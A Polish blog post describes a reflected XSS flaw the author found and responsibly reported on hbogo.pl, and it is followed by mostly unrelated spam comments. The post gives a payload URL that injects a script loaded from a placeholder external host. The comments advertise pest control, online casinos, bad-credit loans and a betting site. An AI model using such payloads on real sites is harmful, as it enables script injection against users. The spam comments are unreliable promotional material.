poniedziałek, 17 grudnia 2012

Reflected XSS w HBOGO

Na stronie http://hbogo.pl jakiś czas temu znalazłem reflected xss'a. Zaraz po jego zgłoszeniu nastąpił błyskawiczny kontakt ze strony pracownika firmy, zgłoszenie oraz poprawka. W ramach podziękowania otrzymałem gadżety - voucher, dwa energetyki, mnóstwo krówek i chyba cały sezon Imperium na DVD. Taki kontakt mi się podoba! No i będzie co oglądać ;-)

Przykładowy payload...

http://www.hbogo.pl/vip/template.aspx?id=test%3Cscript%20src=%22http://some-server/SOME-SCRIPT.JS%22%3E%3C/script%3E

...efekt wywołania URL:




No i gadżety ;-)



Niebawem kolejne 'znaleziska'. Pozdrawiam!


14 komentarzy:

  1. chyba jeden z nielicznych przykładów kulturalnego podejścia do tematu... w wiekszości przypadków cieżko liczyć nawet na "dziękuję"

    OdpowiedzUsuń
    Odpowiedzi
    1. chyba jeden z nielicznych przykładów kulturalnego podejścia do tematu... w wiekszości przypadków cieżko liczyć nawet na "dziękuję"


      علی خدابنده

      راغب

      Usuń
  2. فحص تجويف الجدران
    يعتبر السيليلوز الموجودة في الخشب من الأطعمة المفضلة للنمل الأبيض وهذا لأنها تتمكن من هضم هذه المادة بكل سهولة دون أن تتعرض لأى مشكلة، لكن تلك المادة قد تتسبب في عمل تجويف داخلي لجدران المنزل، إما إذا كانت جدران المنزل صلبة فيمكنك الطرق على الجدران وإذا تمكنت من سماع صوت فهذا يعني أن هناك حشرات تسكن بداخلها.
    شركة مكافحة النمل الابيض بالخبر
    شركة مكافحة النمل الابيض بابها
    شركة مكافحة النمل الابيض ببريدة
    شركة مكافحة النمل الابيض بحائل

    OdpowiedzUsuń
  3. Slot Tertius เป็นแบบไหน คาสิโนออนไลน์ มีคำตอบ

    สำหรับเกมสล็อตออนไลน์ในอีกรูปแบบที่กำลังนิยมและได้รับความสนใจจากนักพนัน คาสิโนออนไลน์ มือใหม่นั่นก็คือเกม slot tertius ที่เราเรียกแบบนี้เพราะรูปแบบการหมุน จะเหมือนกับเกมเตอติส คือจะไม่ได้หมุนในลักษณะวงล้อ แต่จะปล่อยสัญลักษณ์ต่างๆไหลลงมาจากด้านบน และหากเรียงแถวได้ตามระบบรูปก็จะไหลลงมาตามปกติอีกเช่นเดียวกัน และเป็นการหมุนครั้งเดียวต่อรอบ ถ้าหากเรียงแถวได้รูปก็จะหล่นลงมาอย่างที่เราอธิบายไว้ โดยไม่ต้องเสียเงินเครดิตของคุณเพิ่ม แต่หากทำโบนัสได้ก็จะได้เงินเพิ่ม

    รับรองได้เลยว่าคุณจะไม่ผิดหวังกับบริการดีๆ slot tertius  ที่เรามีให้เชื่อถือบริการของเราได้แน่นอนสะดวกและสนุกไปกับเกมส์เดิมพันดีๆ
    คาสิโนออนไลน์ เกมเดิมพันชั้นนำไม่ว่าคุณจะอยู่ที่ไห นก็สามารถใช้บริการได้แน่นอนสะดวก และสนุกไปกับความน่าสนใจ ที่เรามีให้พร้อมบริการดีๆบริการพิเศษต่างๆพร้อมบริการแล้วที่นี่ สมัครสมาชิกกับเว็บพนันในเครือข่ายของเรา เล่นสล็อตได้ทุกแห่งบริการมีให้คุณ 24 ชั่วโมง

    แนะนำให้คุณสมัครเป็นสมาชิกกับ
    คาสิโนออนไลน์ แล้วคุณจะได้รู้ว่ามากกว่าสล็อตเตอติสเราก็มีให้คุณได้เดิมพันและสนุกได้รูปแบบของการเดิมพัน และไม่ว่าคุณอยากจะอยู่ที่ไหนก็สามารถเข้าใช้บริการได้ที่นี่มีให้คุณเลือกเล่นตลอด 24 ชั่วโมงไว้ใจบริการทุกรูปแบบได้สนุกและสะดวกกับบริการดีๆที่คุณจะไม่พลาดกับความทันสมัยของเรา

    OdpowiedzUsuń
  4. It was a clear cycle. I wrapped up the application on the web and in under 15 minutes I got a caution to call client support. The solitary I tended to was so useful and enlightening. He strolled me through the association and let me in on everything occurring. He worked really and was especially fit. The assets were in my record in somewhere around 3 days and prepared for use.
    Personal Loans for Bad credit
    Loans for Bad credit

    OdpowiedzUsuń
  5. Yet again getting credit was easy. The Loan master I speaked with, was incredibly helpful sincere and explained everything clearly, and answered all of my requests smoothly,
    Online Loans for Bad credit
    Loans for people with bad credit

    OdpowiedzUsuń
  6. The experience was so. I had the choice to call and directly address someone and inside the space of minutes I was upheld and good to go!
    Car Loans for Bad credit
    Bad Credit Loans

    OdpowiedzUsuń
  7. Incredibly easy to talk too and reliably get supported each time I need money to dealt with a piece of my Visa/commitment they never let me down.
    Bad Credit Loans Personal
    Bad Credit Loans for people

    OdpowiedzUsuń
  8. The American Express Company is popularly known as Amex; it’s a global financial service company. Which serves in different countries, it was established in 1850. It works as an electronic payment card under the financial company American Express (AXP). How to Apply for American Express Online It ranks among the best credit card issuer with incredible rewards and benefits. American express offers prepaid, charge, and credit cards to different applicants.

    OdpowiedzUsuń
  9. سایت بتووین کوروش وانتونز

    این سایت متعلق به دو رپر جوان و آینده دار یعنی کوروش وانتونز و آرتا وانتونز می باشد. این دو نفر سایت بتووین را با یکدیگر تاسیس کرده اند. طرفداران هر دو رپر در این سایت شرط بندی معتبر به فعالیت های زیادی در این سایت مشغول می باشند. از کامل ترین سایت ها از نظر امکانات می باشد.

    در واقع سایت بتوون یک سایت ایرانی است که دارای نمایندگی خارجی می باشد. به دلیل تبلیغاتی که این سایت در بین افراد خارجی داشته است اکثر کاربران این سایت خارجی هستند به همین دلیل نمایندگی را ایجاد کرده تا کاربران خارجی بتوانند با استفاده از امکانات مخصوص به خودشان فعالیت داشته باشند.

    OdpowiedzUsuń